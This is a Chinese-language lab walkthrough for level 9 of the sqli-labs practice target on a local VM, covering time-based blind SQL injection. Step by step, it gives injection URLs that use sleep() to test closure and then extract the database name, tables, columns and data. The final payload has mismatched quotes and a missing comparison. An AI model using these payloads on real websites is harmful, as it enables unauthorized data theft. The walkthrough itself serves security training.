SQL注入实验——web靶机第九关(时间型盲注)

第九关 时间型盲注

时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。

  • 判断闭合
http://192.168.96.133/sqli-labs-master/Less-9/?id=1' and if(1=2,1,sleep(4)) --+ //利用时间函数,通过查看网页返回的时间判断时间函数谁否执行来判断自己的闭合是否正确;

SQL注入实验——web靶机第九关(时间型盲注)

  • 判断数据库长度
http://192.168.96.133/sqli-labs-master/Less-9/?id=1' and if(length(database())>1,sleep(4),0) --+ //与上一步一样通过看网页的返回时间来判断语句是否正确从而判断数据库长度

SQL注入实验——web靶机第九关(时间型盲注)

  • 爆库名
http://192.168.96.133/sqli-labs-master/Less-9/?id=1'and if(ascii(substr(database(),1,1))>1,sleep(4),0) --+ //通过修改substr的步长来进一步猜测数据库名的其他字符

SQL注入实验——web靶机第九关(时间型盲注)

  • 爆表名
http://192.168.96.133/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =101,sleep(4),0) --+ //

SQL注入实验——web靶机第九关(时间型盲注)

  • 爆列名
http://192.168.96.133/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where TABLE_name = 'emails' and table_schema = 'security' limit 0,1),1,1))=105,sleep(4),0) --+

SQL注入实验——web靶机第九关(时间型盲注)

  • 爆数据
http://192.168.96.133/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select ’id‘ from 'emails' limit 0,1),1,1)),sleep(4),0) --+ 

SQL注入实验——web靶机第九关(时间型盲注)